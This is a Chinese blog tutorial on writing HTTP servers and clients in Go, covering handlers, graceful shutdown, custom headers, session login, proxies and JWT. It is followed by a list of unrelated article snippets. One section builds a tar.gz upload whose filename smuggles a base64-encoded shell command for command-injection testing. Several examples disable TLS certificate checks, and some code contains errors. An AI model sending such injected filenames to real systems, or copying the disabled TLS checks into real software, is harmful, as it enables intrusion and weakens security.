用go实现http服务端和请求端
一、概述
本文旨在学习记录下如何用go实现建立一个http服务器,同时构造一个专用格式的http客户端。
二、代码实现
2.1 构造http服务端
1、http服务处理流程
基于HTTP构建的服务标准模型包括两个端,客户端(Client
)和服务端(Server
)。HTTP 请求从客户端发出,服务端接受到请求后进行处理然后将响应返回给客户端。所以http服务器的工作就在于如何接受来自客户端的请求,并向客户端返回响应。
- 使用http.HandleFunc实现http服务,返回hello world
package mainimport ("fmt""net/http"
)func HelloHandler(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, "Hello World")
}func main () {http.HandleFunc("/", HelloHandler)http.ListenAndServe(":8000", nil)
}
- 使用http.Handle实现http服务
package mainimport ("fmt""net/http"
)type HelloHandlerStruct struct {content string
}//必须实现此方法,且名称为ServerHTTP
func (handler *HelloHandlerStruct) ServeHTTP(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, handler.content)
}func main() {http.Handle("/", &HelloHandlerStruct{content: "Hello World"})http.ListenAndServe(":8000", nil)
}
- 优雅的关闭http服务
package mainimport ("context""fmt""io/ioutil""log""net/http""os""os/signal""syscall""time"
)type EchoHandler struct{}func (handler EchoHandler) ServeHTTP(writer http.ResponseWriter, request *http.Request) {// 设置响应头writer.Header().Add("X-Data", "foo")// 设置相应的cookiehttp.SetCookie(writer, &http.Cookie{Name: "x-cookie",Value: "bar",MaxAge: 86400,Secure: true,})//设置响应状态码为200writer.WriteHeader(200)// 设置响应体,打印网络请求信息fmt.Fprintln(writer, "===== Network =====")fmt.Fprintln(writer, "Remote Address:", request.RemoteAddr)fmt.Fprintln(writer)// 设置响应体,打印请求方法 url host 协议信息fmt.Fprintln(writer, "===== Request Line =====")fmt.Fprintln(writer, "Method: ", request.Method)fmt.Fprintln(writer, "URL: ", request.URL)fmt.Fprintln(writer, "Host: ", request.Host)//fmt.Fprintln(writer, "URI: ", request.RequestURI)fmt.Fprintf(writer, "Protocol: %v major=%v minor=%v\n", request.Proto,request.ProtoMajor, request.ProtoMinor)fmt.Fprintln(writer)// 设置输出请求的请求头fmt.Fprintln(writer, "===== Header =====")for k, v := range request.Header {fmt.Fprintf(writer, "%v: %v\n", k, v)}fmt.Fprintln(writer)// 设置输出请求的bodybody, err := ioutil.ReadAll(request.Body)if err == nil && len(body) > 0 {fmt.Fprintln(writer, "===== Raw Body =====")fmt.Fprintln(writer, string(body))}
}func main() {// 创建系统信号接收器done := make(chan os.Signal)signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM)// 创建 HTTP 服务器server := &http.Server{Addr: ":8000",Handler: EchoHandler{},}// 启动 HTTP 服务器go func() {log.Println("Server starting...")if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {log.Fatalf("ListenAndServe: %v", err)}}()// 监听系统信号并执行关闭操作<-donelog.Println("Server shutting down...")// 创建一个超时上下文,确保关闭操作不会无限期等待ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)defer cancel()if err := server.Shutdown(ctx); err != nil {log.Fatal("Shutdown server:", err)}log.Println("Server gracefully stopped")
}
2.2 构建http客户端
1、基本介绍及使用
net/http 包提供了最简洁的 HTTP 客户端实现,无需借助第三方网络通信库(比如 libcurl)就可以直接使用最常见的 GET 和 POST 方式发起 HTTP 请求。
func (c *Client) Get(url string) (r *Response, err error)
func (c *Client) Post(url string, bodyType string, body io.Reader) (r *Response, err error)
func (c *Client) PostForm(url string, data url.Values) (r *Response, err error)
func (c *Client) Head(url string) (r *Response, err error)
func (c *Client) Do(req *Request) (resp *Response, err error)基本的代码实现:
package mainimport ("bytes""fmt""io/ioutil""net/http" )func main() {// 目标 URLbaseUrl := "http://localhost"// 执行 GET 请求doGet(baseUrl + "/gettest")// 执行 POST 请求doPost(baseUrl + "/posttest")// 执行 POST Form 请求doPostForm(baseUrl + "/postform") }func doGet(url string) {response, err := http.Get(url)if err != nil {fmt.Println("GET request failed:", err)return}defer response.Body.Close()body, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("Error reading response:", err)return}fmt.Println("GET Response:")fmt.Println(string(body)) }func doPost(url string) {// 准备 POST 请求的 JSON 数据jsonPayload := []byte(`{"key": "value"}`)response, err := http.Post(url, "application/json", bytes.NewBuffer(jsonPayload))if err != nil {fmt.Println("POST request failed:", err)return}defer response.Body.Close()body, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("Error reading response:", err)return}fmt.Println("POST Response:")fmt.Println(string(body)) }func doPostForm(url string) {// 准备 POST Form 数据data := url.Values{}data.Add("name", "Alice")data.Add("age", "30")response, err := http.PostForm(url, data)if err != nil {fmt.Println("POST Form request failed:", err)return}defer response.Body.Close()body, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("Error reading response:", err)return}fmt.Println("POST Form Response:")fmt.Println(string(body)) }
2、自定义请求头,以及绕过https验证
package mainimport ("fmt""net/http""net/url""strings"
)func main() {// 自定义请求头headers := map[string]string{"User-Agent": "Your Custom User-Agent","Host": "example.com", // 自定义 Host}// 目标 URLtargetURL := "https://example.com" // 替换为你的目标 URL// 创建自定义 Transporttr := &http.Transport{TLSClientConfig: {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证TLSHandshakeTimeout: 5, // 超时时间(秒)DisableKeepAlives: true, // 禁用连接复用IdleConnTimeout: 30, // 空闲连接超时时间(秒)MaxIdleConnsPerHost: 2, // 每个主机的最大空闲连接数ResponseHeaderTimeout: 5, // 响应头超时时间(秒)}// 创建自定义客户端client := &http.Client{Transport: tr,}// 发送 GET 请求response, err := client.Get(targetURL)if err != nil {fmt.Println("GET request failed:", err)return}defer response.Body.Close()// 读取响应内容body := make([]byte, 1024)n, err := response.Body.Read(body)if err != nil {fmt.Println("Error reading response:", err)return}// 输出响应内容fmt.Println("Response:")fmt.Println(string(body[:n]))
}
3、实现登录后会话保持以及自定义请求头
package mainimport ("fmt""net/http""net/url""strings"
)func main() {// 自定义请求头headers := map[string]string{"User-Agent": "Your Custom User-Agent","Host": "example.com", // 自定义 Host}// 目标 URLbaseURL := "https://example.com" // 替换为你的目标 URLloginURL := baseURL + "/login" // 登录 URLsecuredURL := baseURL + "/secured-resource" // 需要 Token 的 URL// 准备登录请求的数据loginData := url.Values{"user": {"admin"},"pass": {"123456"},}// 创建自定义 Transporttr := &http.Transport{TLSClientConfig: {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证TLSHandshakeTimeout: 5, // 超时时间(秒)DisableKeepAlives: true, // 禁用连接复用IdleConnTimeout: 30, // 空闲连接超时时间(秒)MaxIdleConnsPerHost: 2, // 每个主机的最大空闲连接数ResponseHeaderTimeout: 5, // 响应头超时时间(秒)}// 创建自定义客户端client := &http.Client{Transport: tr,}// 发送登录请求loginRequest, err := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode()))if err != nil {fmt.Println("Error creating login request:", err)return}// 设置登录请求的头部和内容类型loginRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")for key, value := range headers {loginRequest.Header.Set(key, value)}loginResponse, err := client.Do(loginRequest)if err != nil {fmt.Println("Login request failed:", err)return}defer loginResponse.Body.Close()// 获取登录后的 Tokenvar token stringfor _, cookie := range loginResponse.Cookies() {if cookie.Name == "token" {token = cookie.Valuebreak}}if token == "" {fmt.Println("Login failed. No token received.")return}fmt.Println("Login successful. Token:", token)// 在后续请求中添加 Token 到请求头securedRequest, err := http.NewRequest("GET", securedURL, nil)if err != nil {fmt.Println("Error creating secured request:", err)return}securedRequest.Header.Set("Authorization", "Bearer "+token) // 添加 Token 到请求头for key, value := range headers {securedRequest.Header.Set(key, value)}securedResponse, err := client.Do(securedRequest)if err != nil {fmt.Println("Secured request failed:", err)return}defer securedResponse.Body.Close()// 读取并输出响应内容responseBody, err := ioutil.ReadAll(securedResponse.Body)if err != nil {fmt.Println("Error reading response body:", err)return}fmt.Println("Secured resource response:")fmt.Println(string(responseBody))
}
4、构造一个带特殊字符的压缩包,并且通过接口上传
package mainimport ("archive/tar""bytes""compress/gzip""crypto/tls""fmt""io""io/ioutil""mime/multipart""net/http""os"
)func main() {// 压缩文件内容tarContent := generateTarGzContent("11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")// 发送 HTTP POST 请求url := "https://example.com/upload" // 替换为你的目标 URLuploadTarGz(url, tarContent)
}func generateTarGzContent(filename string) []byte {var buf bytes.Buffergw := gzip.NewWriter(&buf)tw := tar.NewWriter(gw)// 添加文件到 tar 压缩包fileContent := []byte("This is the content of 11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")header := &tar.Header{Name: filename,Size: int64(len(fileContent)),}if err := tw.WriteHeader(header); err != nil {fmt.Println("写入 tar 头部失败:", err)os.Exit(1)}if _, err := tw.Write(fileContent); err != nil {fmt.Println("写入文件内容失败:", err)os.Exit(1)}// 关闭 tar 和 gzip 缓冲区if err := tw.Close(); err != nil {fmt.Println("关闭 tar 失败:", err)os.Exit(1)}if err := gw.Close(); err != nil {fmt.Println("关闭 gzip 失败:", err)os.Exit(1)}return buf.Bytes()
}func uploadTarGz(url string, tarContent []byte) {// 创建一个 Buffer,用于构建 multipart/form-data 请求体var requestBody bytes.Bufferwriter := multipart.NewWriter(&requestBody)// 写入 tar.gz 文件part, err := writer.CreateFormFile("file", "test.tar.gz")if err != nil {fmt.Println("创建表单文件失败:", err)os.Exit(1)}if _, err := io.Copy(part, bytes.NewReader(tarContent)); err != nil {fmt.Println("写入文件内容失败:", err)os.Exit(1)}// 关闭 multipart writerwriter.Close()// 创建 HTTP 请求req, err := http.NewRequest("POST", url, &requestBody)if err != nil {fmt.Println("创建请求失败:", err)os.Exit(1)}req.Header.Set("Content-Type", writer.FormDataContentType())// 创建一个自定义的 Transport,用于跳过 HTTPS 证书验证tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true},}// 使用自定义 Transport 发起请求client := &http.Client{Transport: tr}response, err := client.Do(req)if err != nil {fmt.Println("请求失败:", err)os.Exit(1)}defer response.Body.Close()// 读取响应内容responseBody, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("读取响应内容失败:", err)os.Exit(1)}fmt.Println("响应内容:")fmt.Println(string(responseBody))
}
5、设置http代理
package mainimport ("fmt""net/http""net/url""os"
)func main() {// 创建 HTTP 客户端,并设置代理proxyURL, err := url.Parse("http://127.0.0.1:8080") // 替换为您的代理服务器地址if err != nil {fmt.Println("解析代理地址失败:", err)os.Exit(1)}client := &http.Client{Transport: &http.Transport{Proxy: http.ProxyURL(proxyURL),},}// 创建 HTTP 请求url := "https://example.com" // 替换为您要请求的目标 URLrequest, err := http.NewRequest("GET", url, nil)if err != nil {fmt.Println("创建请求失败:", err)os.Exit(1)}// 发送 HTTP 请求response, err := client.Do(request)if err != nil {fmt.Println("请求失败:", err)os.Exit(1)}defer response.Body.Close()// 读取响应内容responseBody := make([]byte, 0)buffer := make([]byte, 1024)for {n, err := response.Body.Read(buffer)if n > 0 {responseBody = append(responseBody, buffer[:n]...)}if err != nil {break}}fmt.Println("响应内容:")fmt.Println(string(responseBody))
}
6、综合实践
// 生成jwt token
func CreateJWT(claim jwt.Claims) (string, error) {//读取 RSA私钥文件privateKeyBytes, err := ioutil.ReadFile(privateKeyPath)if err != nil {return "", err}//解析RSA私钥privateKey, err := jwt.ParseRSAPrivateKeyFromPEM(privateKeyBytes)if err != nil {return "", err}//创建jwttoken := jwt.NewWithClaims(jwt.SigningMethodRS256, claim)//使用私钥进行签名tokenString, err := token.SignedString(privateKey)return tokenString, nil
}// 验证token有效性,主要为想做成直接用解析提供的token并从中获取想要的参数,避免传入过多参数,暂时未用上
func ParseToken(tokenStr string) (interface{}, error) {//读取RSA公钥文件publicKeyBytes, err := ioutil.ReadFile(publicKeyPath)if err != nil {return "", nil}//解析RSA 公钥publicKey, err := jwt.ParseRSAPublicKeyFromPEM(publicKeyBytes)if err != nil {return "", err}//解析tokentoken, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) {if token.Method != jwt.SigningMethodRS256 {return nil, fmt.Errorf("加密方法有误,非rsa256,而是:%v", token.Header["alg"])}return publicKey, nil})//检查解析是否成功if err != nil {return nil, err}//验证token是否有效if !token.Valid {return nil, fmt.Errorf("无效token")} else if claims, ok := token.Claims.(jwt.MapClaims); ok {//通过key获取具体的Claims值fmt.Println("touken有效,正在提取其中的Claims。。。。")return claims, nil} else {return nil, fmt.Errorf("token有效,但是无法提取Claims")}}func GetCookie(token, url string) (string, error) {//自定义请求头headers := map[string]string{"token": token, //利用生成的token"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36","Accept": " application/json, text/plain, */*","Accept-Encoding": "gzip, deflate","Content-Type": "application/json","Accept-Language": "zh-CN,zh;q=0.9",}//fmt.Println("\nurl 为", baseurl)//创建代理/* proxyURL, err := url.Parse("http://127.0.0.1:8080") //设置代理地址if err != nil {fmt.Println("解析代理地址失败", err)os.Exit(1)} */// 创建自定义 Transporttr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证//TLSHandshakeTimeout: 10, // 超时时间(秒)DisableKeepAlives: true, // 禁用连接复用IdleConnTimeout: 30, // 空闲连接超时时间(秒)MaxIdleConnsPerHost: 20, // 每个主机的最大空闲连接数//ResponseHeaderTimeout: 10, // 响应头超时时间(秒)//Proxy: http.ProxyURL(proxyURL), //设置代理服务器}//创建自定义客户端client := &http.Client{Transport: tr,Timeout: time.Second * 10, //设置请求的超时时间}//创建JSON请求体requestBody := map[string]interface{}{"username": "123456","password": "1",}//将请求体编码为 JSON格式jsonData, err := json.Marshal(requestBody)if err != nil {fmt.Println("JSON 编码错误", err)return "", err}//创建post请求request, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData))if err != nil {fmt.Println("创建请求错误", err)return "", err}//设置请求头for key, value := range headers {request.Header.Set(key, value)}//发送POST请求response, err := client.Do(request)if err != nil {fmt.Println("\n请求错误:", err)return "", err}defer response.Body.Close()/* // 读取响应内容var responseStr stringbuf := new(bytes.Buffer)_, err = buf.ReadFrom(response.Body)if err != nil {return "", err}responseStr = buf.String()// 检查响应状态码if response.StatusCode != http.StatusOK {return "", fmt.Errorf("响应状态码为 %d", response.StatusCode)}return responseStr, nil *///处理响应:仅针对返回body为json格式数据var responseBody map[string]interface{}decoder := json.NewDecoder(response.Body)if err := decoder.Decode(&responseBody); err != nil {fmt.Println("响应解析错误", err)return "", err}//输出响应fmt.Println("响应状态码:", response.Status)fmt.Println("响应数据ret:", responseBody["ret"])var retflag float64retflag = 1if responseBody["ret"].(float64) == retflag {setCookieHeaders := response.Header["Set-Cookie"]return setCookieHeaders[0], nil} else {return "", fmt.Errorf("错误信息:%s", responseBody["error"])}
相关文章:
用go实现http服务端和请求端
一、概述 本文旨在学习记录下如何用go实现建立一个http服务器,同时构造一个专用格式的http客户端。 二、代码实现 2.1 构造http服务端 1、http服务处理流程 基于HTTP构建的服务标准模型包括两个端,客户端(Client)和服务端(Server)。HTTP 请求从客户端…...
幂级数和幂级数的和函数有什么关系?
幂级数和幂级数的和函数有什么关系? 本文例子引用自:80_1幂级数运算,逐项积分、求导【小元老师】高等数学,考研数学 求幂级数 ∑ n 1 ∞ 1 n x n \sum\limits_{n1}^{\infty}\frac{1}{n}x^n n1∑∞n1xn 的和函数 ÿ…...
Git多账号管理通过ssh 公钥的方式,git,gitlab,gitee
按照目前国内访问git,如果不科学上网,我们很大可能访问会超时。基于这个,所以我现在的git 配置已经增加到了3个了 一个公司gitlab,一个git,一个gitee. 以下基于这个环境,我们来说明下如何创建配置ssh公钥。…...
在nodejs常见的不良做法及其优化解决方案
在nodejs常见的不良做法及其优化解决方案 当涉及到在express和nodejs中开发应用程序时。遵循最佳实践对于确保项目的健壮性、可维护性和安全性至关重要。 在本文中,我们将探索开发人员经常遇到的几种常见的错误做法,并通过代码示例研究优化的最佳做法&…...
关于layui upload上传组件上传文件无反应的问题
最近使用layui upload组件时,碰到了上传文件无反应的问题,感到非常困惑。 因为使用layui upload组件不是一次两次了,之前每次都可以,这次使用同样的配方,同样的姿势,为什么就不行了呢? 照例先…...
容器网络之Flannel
第一个问题位置变化,往往是通过一个称为注册中心的地方统一管理的,这个是应用自己做的。当一个应用启动的时候,将自己所在环境的 IP 地址和端口,注册到注册中心指挥部,这样其他的应用请求它的时候,到指挥…...
SVM(下):如何进行乳腺癌检测?
⭐️⭐️⭐️⭐️⭐️欢迎来到我的博客⭐️⭐️⭐️⭐️⭐️ 🐴作者:秋无之地 🐴简介:CSDN爬虫、后端、大数据领域创作者。目前从事python爬虫、后端和大数据等相关工作,主要擅长领域有:爬虫、后端、大数据开发、数据分析等。 🐴欢迎小伙伴们点赞👍🏻、收藏⭐️、…...
嵌入式Linux应用开发-第十五章具体单板的按键驱动程序
嵌入式Linux应用开发-第十五章具体单板的按键驱动程序 第十五章 具体单板的按键驱动程序(查询方式)15.1 GPIO操作回顾15.2 AM335X的按键驱动程序(查询方式)15.2.1 先看原理图确定引脚及操作方法15.2.2 再看芯片手册确定寄存器及操作方法15.2.3 编程15.2.3.1 程序框架15.2.3.2 硬…...
MySQL体系结构和四层架构介绍
MySQL体系结构图如下: 四层介绍 1. 连接层: 它的主要功能是处理客户端与MySQL服务器之间的连接(比如Java应用程序通过JDBC连接MySQL)。当客户端应用程序连接到MySQL服务器时,连接层对用户进行身份验证、建立安全连接并管理会话状态。它还处理…...
【产品运营】如何做好B端产品规划
产品规划是基于当下掌握的多维度信息,为追求特定目的,而制定的产品资源投入计划。 产品规划是基于当下掌握的多维度信息(客户需求、市场趋势、竞争对手、竞争策略等),为追求特定目的(商业增长、客户满意等&…...
ruoyi-启动
1 springboot 版本 git 地址 ruoyi-vue-pro: 🔥 官方推荐 🔥 RuoYi-Vue 全新 Pro 版本,优化重构所有功能。基于 Spring Boot MyBatis Plus Vue & Element 实现的后台管理系统 微信小程序,支持 RBAC 动态权限、数据权限…...
select完成服务器并发
服务器 #include <myhead.h>#define PORT 4399 //端口号 #define IP "192.168.0.191"//IP地址//键盘输入事件 int keybord_events(fd_set readfds); //客户端交互事件 int cliRcvSnd_events(int , struct sockaddr_in*, fd_set *, int *); //客户端连接事件 …...
初级篇—第四章聚合函数
文章目录 聚合函数介绍聚合函数介绍COUNT函数AVG和SUM函数MIN和MAX函数 GROUP BY语法基本使用使用多个列分组WITH ROLLUP HAVING基本使用WHERE和HAVING的对比开发中的选择 SELECT的执行过程查询的结构SQL 的执行原理 练习流程函数 聚合函数介绍 聚合函数作用于一组数据&#x…...
计算机图像处理-中值滤波
非线性滤波 非线性滤波是利用原始图像跟模版之间的一种逻辑关系得到结果,常用的非线性滤波方法有中值滤波和高斯双边滤波,分别对应cv2.medianBlur(src, ksize)方法和cv2.bilateralFilter(src, d, sigmaColor, sigmaSpace[, dst[, borderType]])方法。 …...
Golang中的包和模块设计
Go,也被称为Golang,是一种静态类型、编译型语言,因其简洁性和对并发编程的强大支持而受到开发者们的喜爱。Go编程的一个关键方面是其包和模块系统,它允许创建可重用、可维护和高效的代码。本博客文章将深入探讨在Go中设计包和模块…...
web:[极客大挑战 2019]Upload
题目 页面显示为一个上传,猜测上传一句话木马文件 先查看源代码看一下有没有有用的信息,说明要先上传图片,先尝试上传含有一句话木马的图片 构造payload <?php eval($_POST[123]);?> 上传后页面显示为,不能包含<&…...
ICMP差错包
ICMP报文分类 Type Code 描述 查询/差错 0-Echo响应 0 Echo响应报文 查询 3-目的不可达 0 目标网络不可达报文 差错 1 目标主机不可达报文 差错 2 目标协议不可达报文 差错 3 目标端口不可达报文 差错 4 要求分段并设置DF flag标志报文 差错 5 源路由…...
算法基础课第二部分
算法基础课 第四讲 数学知识AcWing1381. 阶乘(同余,因式分解) 质数AcWing 866. 质数的判定---试除法AcWing 868. 质数的判定---埃氏筛AcWing867. 分解质因数---试除法AcWing 197. 阶乘---分解质因数---埃式筛 约数AcWing 869. 求约数---试除法AcWing 870. 约数个数-…...
【数据结构】外部排序、多路平衡归并与败者树、置换-选择排序(生成初始归并段)、最佳归并树算法
目录 1、外部排序 1.1 基本概念 1.2 方法 2、多路平衡归并与败者树 2.1 K路平衡归并 2.2 败者树 3、置换-选择排序(生成初始归并段)编辑 4、最佳归并树 4.1 理论基础编辑 4.2 构造方法 编辑 5、各种排序算法的性质 1、外部排序 1.1 基本概…...
抽象工厂模式 创建性模式之五
在看这篇文章之前,请先看看“简单工厂模式”和“工厂方法模式”这两篇博文,会更有助于理解。我们现在已经知道,简单工厂模式就是用一个简单工厂去创建多个产品,工厂方法模式是每一个具体的工厂只生产一个具体的产品,然…...
servlet如何获取PUT和DELETE请求的参数
1. servlet为何不能获取PUT和DELETE请求的参数 Servlet的规范是POST的数据需要转给request.getParameter*()方法,没有规定PUT和DELETE请求也这么做 The Servlet spec requires form data to be available for HTTP POST but not for HTTP PUT or PATCH requests. T…...
【Vue.js】使用Element中的Mock.js搭建首页导航左侧菜单---【超高级教学】
一,Mock.js 1.1 认识Mock.js Mock.js是一个用于前端开发中生成随机数据、模拟接口响应的 JavaScript 库。模拟数据的生成器,用来帮助前端调试开发、进行前后端的原型分离以及用来提高自动化测试效率 总结来说,Element中的Mock.js是一个用于…...
从技术创新到应用实践,百度智能云发起大模型平台应用开发挑战赛!
大模型已经成为未来技术发展方向的重大变革,热度之下更需去虚向实,让技术走进产业场景。在这样的背景下,百度智能云于近期发起了“百度智能云千帆大模型平台应用开发挑战赛”。 挖掘大模型落地应用 千帆大模型平台应用开发挑战赛启动 在不久前…...
简单三步 用GPT-4和Gamma自动生成PPT PDF
1. 用GPT-4 生产PPT内容 我想把下面的文章做成PPT,请你给出详细的大纲和内容 用于谋生的知识,学生主要工作是学习,成年人的工作是养家糊口,这是基本的要求,在这之上,才能有更高的追求。 不要短期期望过高…...
QT设置弹窗显示屏幕中央
Qt设置每次运行弹窗显示屏幕中央 要确保Qt应用程序中的弹出窗口每次都显示在屏幕的中央,您可以使用以下方法: 使用QMessageBox的move方法手动设置窗口位置: #include <QApplication> #include <QMessageBox> #include <QDesk…...
正点原子嵌入式linux驱动开发——STM32MP1启动详解
STM32单片机是直接将程序下载到内部 Flash中,上电以后直接运行内部 Flash中的程序。 STM32MP157内部没有供用户使用的 Flash,系统都是存放在外部 Flash里面的,比如 EMMC、NAND等,因此 STM32MP157上电以后需要从外部 Flash加载程序…...
FPGA的数字钟带校时闹钟报时功能VHDL
名称:基于FPGA的数字钟具有校时闹钟报时功能 软件:Quartus 语言:VHDL 要求: 1、计时功能:这是数字钟设计的基本功能,每秒钟更新一次,并且能在显示屏上显示当前的时间。 2、闹钟功能:如果当前的时间与闹钟设置的时…...
分析各种表达式求值过程
目录 算术运算与赋值 编译器常用的两种优化方案 常量传播 常量折叠 加法 Debug编译选项组下编译后的汇编代码分析 Release开启02执行效率优先 减法 Release版下优化和加法一致,不再赘述 乘法 除法 算术结果溢出 自增和自减 关系运算与逻辑运算 JCC指…...
企业风险管理策略终极指南
企业风险管理不一定是可怕的。企业风险管理是一个模糊且难以定义的主题领域。它涵盖了企业的多种风险和程序,与传统的风险管理有很大不同。 那么,企业风险管理到底是什么?在本文中,我们将确定它是什么,提出两种常见的…...
OpenCV之分水岭算法(watershed)
Opencv 中 watershed函数原型: void watershed( InputArray image, InputOutputArray markers ); 第一个参数 image,必须是一个8bit 3通道彩色图像矩阵序列,第一个参数没什么要说的。关键是第二个参数 markers,Opencv官方文档的说…...
网站建设类行业资讯/信息如何优化上百度首页
4299: Codechef FRBSUM Time Limit: 10 Sec Memory Limit: 128 MBSubmit: 550 Solved: 351[Submit][Status][Discuss]Description 数集S的ForbiddenSum定义为无法用S的某个子集(可以为空)的和表示的最小的非负整数。例如,S{1,1,3,7}&#x…...
拷问wordpress/深圳新闻最新事件
目前很多公司开发都是前后台分离开发,于是我用node起了一个服务,用node中的express框架实现了反向代理。(通俗易懂的讲就是我在我的电脑访问不到后台同事的电脑接口,这样做以后就可以在我本地访问后台接口调试了) 注&a…...
提供网站建设课程/企业网络规划设计方案
第2章计算机指令集结构设计1. 通常可按哪5个因素对计算机指令集结构进行分类?(1) 在CPU中操作数的存储方法。(2) 指令中显式表示的操作数个数。(3) 操作数的寻址方式。(4) 指令集所提供的操作类型。(5) 操作数的类型和大小。2. 在对计算机指令集结构进行分类的5个因…...
培训心得网站建设/必应bing国内版
在刚刚过去的2017全国大学生数学建模比赛中,笔者有幸指导了一组本科学生参赛。对于赛题A《 CT系统参数标定及成像》中的CT系统参数标定,经过将问题进一步的提炼,问题最终变成了在平面二维空间中对任意椭圆进行拟合的问题,笔者花了…...
电商类网站建设/代做百度首页排名价格
应用篇(常用命令) 用户:useradd,userdel usermod passwd 用户组:groupadd groupdel groupmod gpasswd(修改用户组的用户) 查询:groups id 只要记得关键词,其它需要用时直接man 查询就好啦 甚至只需要记得u…...
金融网络销售怎么找客源/西安百度推广优化
一、语法简介: 1.类: 在Java中,我们用1个.java文件就可以描述清楚一个类;在OC中,一般用2个文件来描述一个类: 1> .h:类的声明文件,用于声明成员变量、方…...